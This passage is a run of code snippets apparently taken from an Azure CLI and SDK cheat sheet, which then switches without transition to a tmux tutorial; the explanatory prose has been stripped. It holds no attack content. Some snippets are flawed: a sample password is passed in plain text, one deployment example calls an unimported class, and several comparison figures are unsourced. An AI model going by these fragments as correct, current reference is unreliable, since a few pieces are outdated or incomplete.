  --resource-group myResourceGroup \
  --name myAKSCluster \
  --node-count 5

# Upgrade cluster
az aks upgrade \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --kubernetes-version 1.28.0

# Enable cluster autoscaler
az aks update \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --enable-cluster-autoscaler \
  --min-count 3 \
  --max-count 10

# List available versions
az aks get-versions --location eastus --output table

# Delete cluster
az aks delete \
  --resource-group myResourceGroup \
  --name myAKSCluster \
  --yes

# Create container registry
az acr create \
  --resource-group myResourceGroup \
  --name myuniqueregistry123 \
  --sku Basic

# Login to registry
az acr login --name myuniqueregistry123

# Tag image
docker tag myapp:latest myuniqueregistry123.azurecr.io/myapp:v1.0

# Push image
docker push myuniqueregistry123.azurecr.io/myapp:v1.0

# List images
az acr repository list --name myuniqueregistry123 --output table

# List tags
az acr repository show-tags \
  --name myuniqueregistry123 \
  --repository myapp \
  --output table

# Delete image
az acr repository delete \
  --name myuniqueregistry123 \
  --image myapp:v1.0 \
  --yes

# Create user
az ad user create \
  --display-name "Alice Smith" \
  --user-principal-name alice@contoso.com \
  --password SecurePassword123!

# Create group
az ad group create \
  --display-name Developers \
  --mail-nickname developers

# Add user to group
az ad group member add \
  --group Developers \
  --member-id <user-object-id>

# Create service principal
az ad sp create-for-rbac \
  --name myServicePrincipal \
  --role Contributor \
  --scopes /subscriptions/<subscription-id>

# List users
az ad user list --output table

# List groups
az ad group list --output table

# Create Key Vault
az keyvault create \
  --name myuniquekeyvault123 \
  --resource-group myResourceGroup \
  --location eastus

# Set secret
az keyvault secret set \
  --vault-name myuniquekeyvault123 \
  --name dbpassword \
  --value "SecurePassword123!"

# Get secret
az keyvault secret show \
  --vault-name myuniquekeyvault123 \
  --name dbpassword \
  --query value \
  --output tsv

# List secrets
az keyvault secret list \
  --vault-name myuniquekeyvault123 \
  --output table

# Delete secret
az keyvault secret delete \
  --vault-name myuniquekeyvault123 \
  --name dbpassword

# Set access policy
az keyvault set-policy \
  --name myuniquekeyvault123 \
  --upn alice@contoso.com \
  --secret-permissions get list set delete

# Create certificate
az keyvault certificate create \
  --vault-name myuniquekeyvault123 \
  --name mycert \
  --policy "$(az keyvault certificate get-default-policy)"

# Import certificate
az keyvault certificate import \
  --vault-name myuniquekeyvault123 \
  --name imported-cert \
  --file certificate.pfx

from azure.identity import DefaultAzureCredential
from azure.keyvault.secrets import SecretClient

# Create client
credential = DefaultAzureCredential()
vault_url = "https://myuniquekeyvault123.vault.azure.net"
client = SecretClient(vault_url=vault_url, credential=credential)

# Get secret
secret = client.get_secret("dbpassword")
print(f"Secret value: {secret.value}")

# Set secret
client.set_secret("newsecret", "newvalue")

# List secrets
secrets = client.list_properties_of_secrets()
for secret in secrets:
    print(f"Secret name: {secret.name}")

# Delete secret
client.begin_delete_secret("newsecret").wait()

# List role definitions
az role definition list --output table

# Assign role to user
az role assignment create \
  --assignee alice@contoso.com \
  --role Contributor \
  --scope /subscriptions/<subscription-id>/resourceGroups/myResourceGroup

# Assign role to service principal
az role assignment create \
  --assignee <service-principal-object-id> \
  --role "Storage Blob Data Contributor" \
  --scope /subscriptions/<subscription-id>/resourceGroups/myResourceGroup/providers/Microsoft.Storage/storageAccounts/mystorageaccount123

# List role assignments
az role assignment list \
  --assignee alice@contoso.com \
  --output table

# Remove role assignment
az role assignment delete \
  --assignee alice@contoso.com \
  --role Contributor \
  --scope /subscriptions/<subscription-id>/resourceGroups/myResourceGroup

# Create custom role
az role definition create --role-definition @custom-role.json

{
  "Name": "Custom VM Operator",
  "Description": "Can start and stop VMs",
  "Actions": [
    "Microsoft.Compute/virtualMachines/start/action",
    "Microsoft.Compute/virtualMachines/restart/action",
    "Microsoft.Compute/virtualMachines/deallocate/action",
    "Microsoft.Compute/virtualMachines/read"
  ],
  "NotActions": [],
  "AssignableScopes": [
    "/subscriptions/<subscription-id>"
  ]
}

# Create action group
az monitor action-group create \
  --name myActionGroup \
  --resource-group myResourceGroup \
  --short-name myAG \
  --email-receiver name=admin email=admin@example.com

# Create metric alert
az monitor metrics alert create \
  --name high-cpu \
  --resource-group myResourceGroup \
  --scopes /subscriptions/<subscription-id>/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM \
  --condition "avg Percentage CPU > 80" \
  --window-size 5m \
  --evaluation-frequency 1m \
  --action myActionGroup

# List alerts
az monitor metrics alert list \
  --resource-group myResourceGroup

# Query metrics
az monitor metrics list \
  --resource /subscriptions/<subscription-id>/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM \
  --metric "Percentage CPU" \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-01T23:59:59Z \
  --interval PT1H

# Create Log Analytics workspace
az monitor log-analytics workspace create \
  --resource-group myResourceGroup \
  --workspace-name myWorkspace \
  --location eastus

# Query logs (KQL - Kusto Query Language)
az monitor log-analytics query \
  --workspace myWorkspace \
  --analytics-query "AzureActivity | where TimeGenerated > ago(1h) | summarize count() by OperationName"

# Example KQL queries
# All logs from last hour
"AzureActivity | where TimeGenerated > ago(1h)"

# Count errors by resource
"AzureDiagnostics | where Level == 'Error' | summarize count() by Resource"

# VM performance - CPU over 80%
"Perf | where CounterName == '% Processor Time' and CounterValue > 80"

# Failed login attempts
"SigninLogs | where ResultType != 0 | project TimeGenerated, UserPrincipalName, ResultType, ResultDescription"

from applicationinsights import TelemetryClient

# Initialize client
tc = TelemetryClient('<instrumentation-key>')

# Track event
tc.track_event('UserLogin', {'user': 'alice@example.com'})

# Track metric
tc.track_metric('request_duration', 125.5)

# Track exception
try:
    result = 1 / 0
except Exception as e:
    tc.track_exception()

# Track request
tc.track_request('GET /api/users', 'https://myapi.com/api/users', True, 200, 125)

# Track dependency
tc.track_dependency('SQL', 'mydb.database.windows.net', 'SELECT * FROM users', 45, True, 'Query')

# Flush telemetry
tc.flush()

# Enable Application Insights for web app
az webapp config appsettings set \
  --resource-group myResourceGroup \
  --name myUniqueWebApp123 \
  --settings "APPINSIGHTS_INSTRUMENTATIONKEY=<instrumentation-key>"

# azure-pipelines.yml
trigger:
  - main

pool:
  vmImage: 'ubuntu-latest'

variables:
  buildConfiguration: 'Release'

stages:
- stage: Build
  jobs:
  - job: BuildJob
    steps:
    - task: UsePythonVersion@0
      inputs:
        versionSpec: '3.11'

    - script: |
        python -m pip install --upgrade pip
        pip install -r requirements.txt
      displayName: 'Install dependencies'

    - script: |
        pytest tests/ --junitxml=junit/test-results.xml
      displayName: 'Run tests'

    - task: PublishTestResults@2
      inputs:
        testResultsFiles: '**/test-results.xml'

    - script: |
        docker build -t myapp:$(Build.BuildId) .
      displayName: 'Build Docker image'

    - task: Docker@2
      inputs:
        containerRegistry: 'myACR'
        repository: 'myapp'
        command: 'push'
        tags: |
          $(Build.BuildId)
          latest

- stage: Deploy
  dependsOn: Build
  jobs:
  - deployment: DeployJob
    environment: 'production'
    strategy:
      runOnce:
        deploy:
          steps:
          - task: AzureWebAppContainer@1
            inputs:
              azureSubscription: 'myServiceConnection'
              appName: 'myUniqueWebApp123'
              containers: 'myregistry.azurecr.io/myapp:$(Build.BuildId)'

# Create Azure DevOps project
az devops project create --name MyProject --org https://dev.azure.com/myorg

# Create pipeline
az pipelines create \
  --name MyPipeline \
  --repository https://github.com/user/repo \
  --branch main \
  --yml-path azure-pipelines.yml

# Run pipeline
az pipelines run --name MyPipeline

# List pipelines
az pipelines list --output table

# Show pipeline runs
az pipelines runs list --pipeline-name MyPipeline --output table

import openai

# Configure
openai.api_type = "azure"
openai.api_base = "https://myopenai.openai.azure.com/"
openai.api_version = "2023-05-15"
openai.api_key = "<api-key>"

# Generate completion
response = openai.ChatCompletion.create(
    engine="gpt-4",  # deployment name
    messages=[
        {"role": "system", "content": "You are a helpful assistant."},
        {"role": "user", "content": "Explain cloud computing in simple terms."}
    ],
    temperature=0.7,
    max_tokens=800
)

print(response.choices[0].message.content)

# Generate image
response = openai.Image.create(
    prompt="A futuristic cloud data center",
    n=1,
    size="1024x1024"
)

image_url = response['data'][0]['url']

from azure.ai.textanalytics import TextAnalyticsClient
from azure.core.credentials import AzureKeyCredential

# Text Analytics
endpoint = "https://myservice.cognitiveservices.azure.com/"
key = "<api-key>"

client = TextAnalyticsClient(endpoint=endpoint, credential=AzureKeyCredential(key))

# Sentiment analysis
documents = ["I love Azure!", "This is terrible."]
result = client.analyze_sentiment(documents)

for doc in result:
    print(f"Sentiment: {doc.sentiment}, Confidence: {doc.confidence_scores}")

# Entity recognition
result = client.recognize_entities(["Microsoft was founded by Bill Gates."])
for doc in result:
    for entity in doc.entities:
        print(f"Entity: {entity.text}, Category: {entity.category}")

# Key phrase extraction
result = client.extract_key_phrases(["Azure is a cloud computing platform."])
for doc in result:
    print(f"Key phrases: {doc.key_phrases}")

from azureml.core import Workspace, Experiment, ScriptRunConfig

# Connect to workspace
ws = Workspace.from_config()

# Create experiment
experiment = Experiment(workspace=ws, name='my-experiment')

# Configure training run
config = ScriptRunConfig(
    source_directory='./src',
    script='train.py',
    compute_target='cpu-cluster',
    environment='AzureML-sklearn-1.0'
)

# Submit run
run = experiment.submit(config)
run.wait_for_completion(show_output=True)

# Register model
model = run.register_model(
    model_name='my-model',
    model_path='outputs/model.pkl'
)

# Deploy model
from azureml.core.webservice import AciWebservice
from azureml.core.model import InferenceConfig

inference_config = InferenceConfig(
    entry_script='score.py',
    environment='AzureML-sklearn-1.0'
)

aci_config = AciWebservice.deploy_configuration(
    cpu_cores=1,
    memory_gb=1
)

service = Model.deploy(
    workspace=ws,
    name='my-service',
    models=[model],
    inference_config=inference_config,
    deployment_config=aci_config
)

service.wait_for_deployment(show_output=True)
print(f"Scoring URI: {service.scoring_uri}")

                         Internet
                             │
                    ┌────────▼────────┐
                    │  Azure Front    │  CDN
                    │  Door           │
                    └────────┬────────┘
                             │
                    ┌────────▼────────┐
                    │  Azure DNS      │
                    └────────┬────────┘
                             │
┌────────────────────────────▼────────────────────────────────┐
│                      Virtual Network                         │
│                                                              │
│  ┌──────────────────────────────────────────────────────┐  │
│  │  Public Subnet (AZ-1)    Public Subnet (AZ-2)       │  │
│  │  ┌──────────────────┐    ┌──────────────────┐      │  │
│  │  │ Application      │    │ Application      │      │  │
│  │  │ Gateway + WAF    │    │ Gateway + WAF    │      │  │
│  │  └────────┬─────────┘    └────────┬─────────┘      │  │
│  └───────────┼──────────────────────┼─────────────────┘  │
│              │                      │                      │
│  ┌───────────▼──────────────────────▼─────────────────┐  │
│  │  Private Subnet (AZ-1)   Private Subnet (AZ-2)     │  │
│  │  ┌────────────────┐       ┌────────────────┐       │  │
│  │  │ VMSS           │       │ VMSS           │       │  │
│  │  │  ┌──┐ ┌──┐     │       │  ┌──┐ ┌──┐     │       │  │
│  │  │  │VM│ │VM│     │       │  │VM│ │VM│     │       │  │
│  │  │  └──┘ └──┘     │       │  └──┘ └──┘     │       │  │
│  │  └────────┬───────┘       └────────┬───────┘       │  │
│  └───────────┼──────────────────────┼─────────────────┘  │
│              │                      │                      │
│  ┌───────────▼──────────────────────▼─────────────────┐  │
│  │  Database Subnet (AZ-1)  Database Subnet (AZ-2)    │  │
│  │  ┌──────────────┐        ┌──────────────┐          │  │
│  │  │ Azure SQL    │◄──────▶│ Azure SQL    │          │  │
│  │  │ Primary      │        │ Secondary    │          │  │
│  │  └──────────────┘        └──────────────┘          │  │
│  │                                                      │  │
│  │  ┌──────────────────────────────┐                   │  │
│  │  │ Azure Cache for Redis        │                   │  │
│  │  └──────────────────────────────┘                   │  │
│  └──────────────────────────────────────────────────────┘  │
│                                                              │
│  Additional Services:                                       │
│  ├─ Blob Storage: Static assets                             │
│  ├─ Key Vault: Secrets management                           │
│  ├─ Monitor: Monitoring and alerts                          │
│  └─ Application Insights: APM                               │
└──────────────────────────────────────────────────────────────┘

                        ┌─────────────┐
                        │   Users     │
                        └──────┬──────┘
                               │
                      ┌────────▼────────┐
                      │  Azure Front    │
                      │  Door + Blob    │
                      │  (Frontend)     │
                      └────────┬────────┘
                               │
                      ┌────────▼────────┐
                      │  API Management │
                      └────────┬────────┘
                               │
        ┌──────────────────────┼──────────────────────┐
        │                      │                      │
   ┌────▼──────┐         ┌────▼──────┐         ┌────▼──────┐
   │ Function  │         │ Function  │         │ Function  │
   │ User Svc  │         │ Order Svc │         │ Pay Svc   │
   └────┬──────┘         └────┬──────┘         └────┬──────┘
        │                     │                     │
   ┌────▼──────┐         ┌────▼──────┐         ┌────▼──────┐
   │Cosmos DB  │         │Cosmos DB  │         │Cosmos DB  │
   │Users      │         │Orders     │         │Payments   │
   └───────────┘         └───────────┘         └───────────┘
        │                     │                     │
        └─────────────────────┼─────────────────────┘
                              │
                       ┌──────▼──────┐
                       │  Event Grid │
                       │  Service Bus│
                       └─────────────┘

Service Category      Azure                      AWS
─────────────────────────────────────────────────────────────────
Compute
  VMs                 Virtual Machines           EC2
  Auto-scaling        VMSS                       Auto Scaling
  Serverless          Functions                  Lambda
  Containers          AKS / ACI                  EKS / ECS / Fargate
  PaaS                App Service                Elastic Beanstalk

Storage
  Object              Blob Storage               S3
  Block               Managed Disks              EBS
  File                Azure Files                EFS
  Archive             Archive Storage            Glacier

Database
  Relational          SQL Database               RDS
  NoSQL Document      Cosmos DB                  DynamoDB
  Cache               Cache for Redis            ElastiCache
  Data Warehouse      Synapse Analytics          Redshift

Networking
  Virtual Network     VNet                       VPC
  Load Balancer       Load Balancer / App GW     ELB / ALB / NLB
  CDN                 Front Door / CDN           CloudFront
  DNS                 Azure DNS                  Route 53
  VPN                 VPN Gateway                VPN Gateway

Security
  Identity            Azure AD (Entra ID)        IAM / Cognito
  Secrets             Key Vault                  Secrets Manager
  Encryption          Key Vault                  KMS

Monitoring
  Metrics             Azure Monitor              CloudWatch
  Logs                Log Analytics              CloudWatch Logs
  APM                 Application Insights       X-Ray
  Audit               Activity Log               CloudTrail

DevOps
  CI/CD               Azure DevOps / Pipelines   CodePipeline
  Repository          Azure Repos                CodeCommit
  Container Registry  ACR                        ECR

AI/ML
  Pre-trained Models  Cognitive Services         AI Services
  ML Platform         Machine Learning           SageMaker
  GenAI               OpenAI Service             Bedrock

Aspect                Azure                      AWS
─────────────────────────────────────────────────────────────────
Market Share          ~23%                       ~32%
Launch Year           2010                       2006
Focus                 Enterprise / Hybrid        Startups / Flexibility
Integration           Microsoft stack            Broad ecosystem
Regions               60+ regions                30+ regions
Pricing               Per-minute billing         Per-second billing
Support               Strong enterprise          Extensive documentation
Compliance            Most certifications        Extensive certifications
Hybrid Cloud          Azure Arc (best-in-class)  Outposts
Windows Workloads     Native integration         Good support

✓ Heavy Microsoft stack usage (Windows, .NET, SQL Server)
✓ Enterprise Active Directory integration needed
✓ Hybrid cloud requirements (on-premises + cloud)
✓ Existing Microsoft licensing (Azure Hybrid Benefit)
✓ Office 365 / Dynamics 365 integration
✓ Strong compliance requirements
✓ European data centers needed
✓ .NET development team

✓ Largest service selection needed
✓ Startup with flexible requirements
✓ Open-source technologies focus
✓ Mature ecosystem and tooling important
✓ Broadest region availability needed
✓ Extensive third-party integrations
✓ Strong serverless requirements
✓ Largest community and resources

# Create budget
az consumption budget create \
  --budget-name myBudget \
  --amount 1000 \
  --category Cost \
  --time-grain Monthly \
  --start-date 2024-01-01 \
  --end-date 2024-12-31

# View cost analysis
az consumption usage list \
  --start-date 2024-01-01 \
  --end-date 2024-01-31

# Get cost forecast
az consumption forecast list

# Enable auto-shutdown for VMs
az vm auto-shutdown \
  --resource-group myResourceGroup \
  --name myVM \
  --time 1900 \
  --timezone "Pacific Standard Time"

┌──────────────────────────────────────────────────────────┐
│ Azure Cost Optimization Checklist                        │
├──────────────────────────────────────────────────────────┤
│                                                           │
│ Compute                                                   │
│ ☐ Use Reserved Instances (up to 72% discount)            │
│ ☐ Use Spot VMs for fault-tolerant workloads              │
│ ☐ Right-size VMs based on metrics                        │
│ ☐ Use Azure Hybrid Benefit for Windows/SQL               │
│ ☐ Deallocate VMs when not in use                         │
│ ☐ Use Azure Functions for event-driven workloads         │
│ ☐ Enable auto-shutdown for dev/test VMs                  │
│                                                           │
│ Storage                                                   │
│ ☐ Use lifecycle management policies                      │
│ ☐ Move infrequent data to Cool/Archive tiers             │
│ ☐ Delete unused disks and snapshots                      │
│ ☐ Use LRS instead of GRS when possible                   │
│ ☐ Enable blob versioning only when needed                │
│                                                           │
│ Database                                                  │
│ ☐ Use serverless for SQL Database with variable load     │
│ ☐ Right-size database tiers                              │
│ ☐ Use Cosmos DB autoscale                                │
│ ☐ Implement connection pooling                           │
│ ☐ Pause dev/test databases when not in use               │
│                                                           │
│ Network                                                   │
│ ☐ Use Azure Front Door to reduce data transfer           │
│ ☐ Use VNet peering instead of VPN when possible          │
│ ☐ Consolidate data transfer within same region           │
│ ☐ Use private endpoints to avoid data transfer costs     │
│                                                           │
│ Monitoring                                                │
│ ☐ Set up Azure Cost Management + Billing alerts          │
│ ☐ Use Azure Advisor cost recommendations                 │
│ ☐ Review Advisor score regularly                         │
│ ☐ Use tags for cost allocation                           │
│ ☐ Review Underutilized Resources report                  │
└──────────────────────────────────────────────────────────┘

Service                   Configuration           Monthly Cost (Approx)
─────────────────────────────────────────────────────────────────────
VM (B2s)                  2 vCPU, 4GB, Linux     $30
Managed Disk (128GB)      Premium SSD            $20
SQL Database (S0)         10 DTUs                $15
Cosmos DB                 400 RU/s               $24
Blob Storage (100GB)      Hot tier               $2
Data Transfer             50GB outbound          $4
App Service (B1)          1 core, 1.75GB         $55
Functions                 1M requests            $0.20
                                                 ─────────
                          Total:                 ~$150/month

1. Identity and Access
   ├─ Use Azure AD (Entra ID) for all authentication
   ├─ Enable MFA for all users
   ├─ Use managed identities instead of service principals
   ├─ Implement RBAC with least privilege
   ├─ Use Azure AD Privileged Identity Management (PIM)
   └─ Enable Conditional Access policies

2. Network Security
   ├─ Use Network Security Groups (NSGs)
   ├─ Implement Azure Firewall or third-party NVA
   ├─ Use private endpoints for PaaS services
   ├─ Enable DDoS Protection Standard for production
   ├─ Use Application Gateway with WAF
   └─ Enable VNet service endpoints

3. Data Protection
   ├─ Enable encryption at rest for all services
   ├─ Use Azure Key Vault for secrets
   ├─ Enable TLS 1.2+ for data in transit
   ├─ Implement backup and disaster recovery
   ├─ Enable soft delete for Key Vault and Storage
   └─ Use customer-managed keys when required

4. Monitoring and Compliance
   ├─ Enable Azure Security Center (Defender for Cloud)
   ├─ Use Azure Sentinel for SIEM
   ├─ Enable Azure Monitor and Log Analytics
   ├─ Implement Azure Policy for governance
   ├─ Use Azure Blueprints for compliance
   └─ Regular security assessments

5. Application Security
   ├─ Use Web Application Firewall (WAF)
   ├─ Implement API Management security features
   ├─ Enable Application Insights
   ├─ Use Azure Front Door for global apps
   └─ Regular vulnerability scanning

1. High Availability
   ├─ Deploy across Availability Zones
   ├─ Use zone-redundant services
   ├─ Implement auto-scaling
   ├─ Use Azure Load Balancer / Application Gateway
   └─ Consider multi-region for critical workloads

2. Disaster Recovery
   ├─ Define RPO and RTO requirements
   ├─ Use Azure Site Recovery
   ├─ Implement geo-redundant storage
   ├─ Regular backup and restore testing
   └─ Document DR procedures

3. Monitoring
   ├─ Use Azure Monitor for all resources
   ├─ Set up alerts for critical metrics
   ├─ Implement health checks
   ├─ Use Application Insights for APM
   └─ Create dashboards for visibility

4. Resilience
   ├─ Implement retry logic
   ├─ Use circuit breaker pattern
   ├─ Implement graceful degradation
   ├─ Use queue-based load leveling
   └─ Regular chaos engineering tests

# Use --output for different formats
az vm list --output table
az vm list --output json
az vm list --output yaml
az vm list --output tsv

# Use --query for filtering (JMESPath)
az vm list --query "[].{name:name, powerState:powerState}"
az vm list --query "[?powerState=='VM running'].name"

# Use --resource-group shorthand
az vm list -g myResourceGroup

# Use --verbose for debugging
az vm create --verbose ...

# Get help
az vm --help
az vm create --help

# Interactive mode
az interactive

# Configure defaults
az configure --defaults group=myResourceGroup location=eastus

# Show defaults
az configure --list-defaults

# Add to ~/.bashrc or ~/.zshrc

alias azvm='az vm list --output table'
alias azrunning='az vm list --query "[?powerState=='\''VM running'\''].{name:name, resourceGroup:resourceGroup}" --output table'
alias azstorage='az storage account list --output table'
alias azsql='az sql db list --output table'
alias azgroup='az group list --output table'

Foundational
    │
    └─ AZ-900: Azure Fundamentals
        │
        ├─ Associate Level
        │   ├─ AZ-104: Azure Administrator
        │   ├─ AZ-204: Azure Developer
        │   └─ AZ-400: DevOps Engineer
        │
        └─ Expert Level
            ├─ AZ-305: Azure Solutions Architect
            └─ AZ-400: DevOps Engineer (with AZ-104/204)

        Specialty (Optional)
        ├─ AZ-500: Security Technologies
        ├─ AI-102: AI Engineer
        ├─ DP-203: Data Engineer
        └─ AZ-700: Network Engineer

# Ubuntu/Debian
sudo apt update
sudo apt install tmux

# macOS
brew install tmux

# CentOS/RHEL
sudo yum install tmux

# Arch Linux
sudo pacman -S tmux

# Verify installation
tmux -V

# Start new session
tmux

# Start new session with name
tmux new -s mysession
tmux new-session -s mysession

# List sessions
tmux ls
tmux list-sessions

# Attach to session
tmux attach
tmux a

# Attach to specific session
tmux attach -t mysession
tmux a -t mysession

# Detach from session (inside tmux)
# Press: Ctrl+b, then d

# Kill session
tmux kill-session -t mysession

# Kill all sessions
tmux kill-server

# Rename session (inside tmux)
# Press: Ctrl+b, then $

# Inside tmux, press Ctrl+b then:

# c - Create new window
# , - Rename current window
# w - List windows
# n - Next window
# p - Previous window
# 0-9 - Switch to window number
# l - Last active window
# & - Kill current window
# f - Find window by name

# Inside tmux, press Ctrl+b then:

# % - Split pane vertically
# " - Split pane horizontally
# Arrow keys - Navigate between panes
# o - Switch to next pane
# ; - Toggle between current and previous pane
# x - Kill current pane
# z - Toggle pane zoom (fullscreen)
# Space - Toggle between layouts
# { - Move pane left
# } - Move pane right
# Ctrl+Arrow - Resize pane
# q - Show pane numbers (then press number to switch)

# Create configuration file
cat << 'EOF' > ~/.tmux.conf
# Change prefix from Ctrl+b to Ctrl+a
set-option -g prefix C-a
unbind-key C-b
bind-key C-a send-prefix

# Enable mouse support
set -g mouse on

# Start windows and panes at 1, not 0
set -g base-index 1
setw -g pane-base-index 1

# Renumber windows when one is closed
set -g renumber-windows on

# Increase scrollback buffer size
set -g history-limit 10000

# Enable 256 colors
set -g default-terminal "screen-256color"

# Reload config file
bind r source-file ~/.tmux.conf \; display "Config reloaded!"

# Split panes with | and -
bind | split-window -h
bind - split-window -v
unbind '"'
unbind %

# Switch panes using Alt+Arrow without prefix
bind -n M-Left select-pane -L
bind -n M-Right select-pane -R
bind -n M-Up select-pane -U
bind -n M-Down select-pane -D

# Set status bar
set -g status-bg black
set -g status-fg white
set -g status-interval 60
set -g status-left-length 30
set -g status-left '#[fg=green](#S) #(whoami) '
set -g status-right '#[fg=yellow]#(cut -d " " -f 1-3 /proc/loadavg)#[default] #[fg=white]%H:%M#[default]'
EOF

# Reload tmux configuration
tmux source-file ~/.tmux.conf

cat << 'EOF' > ~/.tmux.conf
# ===== Basic Settings =====
set-option -g prefix C-a
unbind-key C-b
bind-key C-a send-prefix

# Enable mouse
set -g mouse on

# Start numbering at 1
set -g base-index 1
setw -g pane-base-index 1

# Renumber windows
set -g renumber-windows on

# History
set -g history-limit 50000

# Terminal settings
set -g default-terminal "screen-256color"
set -ga terminal-overrides ",*256col*:Tc"

# No delay for escape key
set -sg escape-time 0

# Monitor activity
setw -g monitor-activity on
set -g visual-activity off

# ===== Key Bindings =====

# Reload config
bind r source-file ~/.tmux.conf \; display "Reloaded!"

# Split panes
bind | split-window -h -c "#{pane_current_path}"
bind - split-window -v -c "#{pane_current_path}"
bind c new-window -c "#{pane_current_path}"

# Pane navigation
bind h select-pane -L
bind j select-pane -D
bind k select-pane -U
bind l select-pane -R

# Pane resizing
bind -r H resize-pane -L 5
bind -r J resize-pane -D 5
bind -r K resize-pane -U 5
bind -r L resize-pane -R 5

# Window navigation
bind -r C-h select-window -t :-
bind -r C-l select-window -t :+

# Copy mode with vi keys
setw -g mode-keys vi
bind-key -T copy-mode-vi 'v' send -X begin-selection
bind-key -T copy-mode-vi 'y' send -X copy-selection-and-cancel

# ===== Appearance =====

# Status bar
set -g status-position bottom
set -g status-justify left
set -g status-style 'bg=colour234 fg=colour137'
set -g status-left ''
set -g status-right '#[fg=colour233,bg=colour241,bold] %d/%m #[fg=colour233,bg=colour245,bold] %H:%M:%S '
set -g status-right-length 50
set -g status-left-length 20

# Window status
setw -g window-status-current-style 'fg=colour1 bg=colour19 bold'
setw -g window-status-current-format ' #I#[fg=colour249]:#[fg=colour255]#W#[fg=colour249]#F '
setw -g window-status-style 'fg=colour9 bg=colour18'
setw -g window-status-format ' #I#[fg=colour237]:#[fg=colour250]#W#[fg=colour244]#F '

# Pane borders
set -g pane-border-style 'fg=colour238'
set -g pane-active-border-style 'fg=colour51'

# Message text
set -g message-style 'fg=colour232 bg=colour166 bold'
EOF

Ctrl+b d       # Detach from session
Ctrl+b s       # List sessions
Ctrl+b $       # Rename session
Ctrl+b (       # Switch to previous session
Ctrl+b )       # Switch to next session
Ctrl+b L       # Switch to last session

Ctrl+b c       # Create new window
Ctrl+b ,       # Rename current window
Ctrl+b &       # Kill current window
Ctrl+b w       # List windows
Ctrl+b n       # Next window
Ctrl+b p       # Previous window
Ctrl+b 0-9     # Switch to window by number
Ctrl+b l       # Switch to last active window
Ctrl+b f       # Find window
Ctrl+b .       # Move window (prompts for index)

Ctrl+b %       # Split vertically
Ctrl+b "       # Split horizontally
Ctrl+b o       # Switch to next pane
Ctrl+b ;       # Toggle between current and previous pane
Ctrl+b x       # Kill current pane
Ctrl+b !       # Break pane into window
Ctrl+b z       # Toggle pane zoom
Ctrl+b Space   # Toggle between pane layouts
Ctrl+b q       # Show pane numbers
Ctrl+b {       # Move pane left
Ctrl+b }       # Move pane right
Ctrl+b Ctrl+o  # Rotate panes
Ctrl+b Arrow   # Navigate panes

Ctrl+b [       # Enter copy mode
Ctrl+b ]       # Paste buffer
Space          # Start selection (in copy mode)
Enter          # Copy selection (in copy mode)
q              # Exit copy mode

# With vi mode enabled:
v              # Begin selection
y              # Copy selection

Ctrl+b ?       # List all key bindings
Ctrl+b :       # Enter command mode
Ctrl+b t       # Show time
Ctrl+b ~       # Show messages

# Create development session
tmux new -s dev

# Inside tmux:
# Split into 3 panes
Ctrl+b %    # Split vertically
Ctrl+b "    # Split right pane horizontally

# Now you have:
# - Left pane: Editor (vim/emacs)
# - Top right: Run server
# - Bottom right: Git/commands

# Navigate between panes
Ctrl+b Arrow keys

# SSH to server
ssh user@server

# Start tmux session
tmux new -s work

# Do work...
# Connection drops or intentional detach
Ctrl+b d

# Reconnect later
ssh user@server
tmux attach -t work
# Your session is exactly as you left it

# User 1: Create session
tmux new -s pair

# User 2: Attach to same session (read-only)
tmux attach -t pair -r

# User 2: Attach with full control
tmux attach -t pair

# Create sessions for different projects
tmux new -s project1 -d
tmux new -s project2 -d
tmux new -s project3 -d

# List all sessions
tmux ls

# Attach to specific project
tmux attach -t project1

# Switch between sessions (inside tmux)
Ctrl+b s    # Shows session list
Ctrl+b (    # Previous session
Ctrl+b )    # Next session

# Enter copy mode
Ctrl+b [

# Navigate with vi keys (if vi mode enabled)
# Or use arrow keys

# Start selection
Space

# Copy selection
Enter

# Paste
Ctrl+b ]

# View paste buffers
Ctrl+b #

# Choose buffer to paste
Ctrl+b =

# Enable synchronized panes (type in all panes at once)
Ctrl+b :
:setw synchronize-panes on

# Disable
:setw synchronize-panes off

# Toggle with binding (add to .tmux.conf)
bind S setw synchronize-panes

# Save session layout
Ctrl+b :
:save-buffer /tmp/tmux-session.txt

# Create script to restore layout
cat << 'EOF' > ~/restore-session.sh
#!/bin/bash
tmux new-session -d -s dev
tmux split-window -h
tmux split-window -v
tmux select-pane -t 0
tmux send-keys 'vim' C-m
tmux select-pane -t 1
tmux send-keys 'npm run dev' C-m
tmux select-pane -t 2
tmux attach -t dev
EOF

chmod +x ~/restore-session.sh

# Install Tmux Plugin Manager
git clone https://github.com/tmux-plugins/tpm ~/.tmux/plugins/tpm

# Add to .tmux.conf
cat << 'EOF' >> ~/.tmux.conf

# List of plugins
set -g @plugin 'tmux-plugins/tpm'
set -g @plugin 'tmux-plugins/tmux-sensible'
set -g @plugin 'tmux-plugins/tmux-resurrect'
set -g @plugin 'tmux-plugins/tmux-continuum'

# Initialize TPM (keep at bottom of .tmux.conf)
run '~/.tmux/plugins/tpm/tpm'
EOF

# Reload config
tmux source ~/.tmux.conf

# Install plugins (inside tmux)
Ctrl+b I

# Create reusable session layout
cat << 'EOF' > ~/tmux-dev.sh
#!/bin/bash

SESSION="dev"
SESSIONEXISTS=$(tmux list-sessions | grep $SESSION)

if [ "$SESSIONEXISTS" = "" ]
then
    # Create new session
    tmux new-session -d -s $SESSION

    # Create windows
    tmux rename-window -t 0 'Editor'
    tmux send-keys -t 'Editor' 'cd ~/project && vim' C-m

    tmux new-window -t $SESSION:1 -n 'Server'
    tmux send-keys -t 'Server' 'cd ~/project && npm run dev' C-m

    tmux new-window -t $SESSION:2 -n 'Git'
    tmux send-keys -t 'Git' 'cd ~/project && git status' C-m

    # Split panes
    tmux select-window -t $SESSION:2
    tmux split-window -h
    tmux send-keys -t 1 'cd ~/project' C-m
fi

# Attach to session
tmux attach-session -t $SESSION:0
EOF

chmod +x ~/tmux-dev.sh

# Enter command mode
Ctrl+b :

# Common commands
:new-window -n mywindow
:kill-window
:split-window -h
:resize-pane -D 10
:setw synchronize-panes on
:set mouse on
:source-file ~/.tmux.conf
:list-keys
:list-commands

#!/bin/bash

# Create session with specific layout
tmux new-session -d -s complex

# Split into 4 panes
tmux split-window -h -t complex
tmux split-window -v -t complex:0.0
tmux split-window -v -t complex:0.2

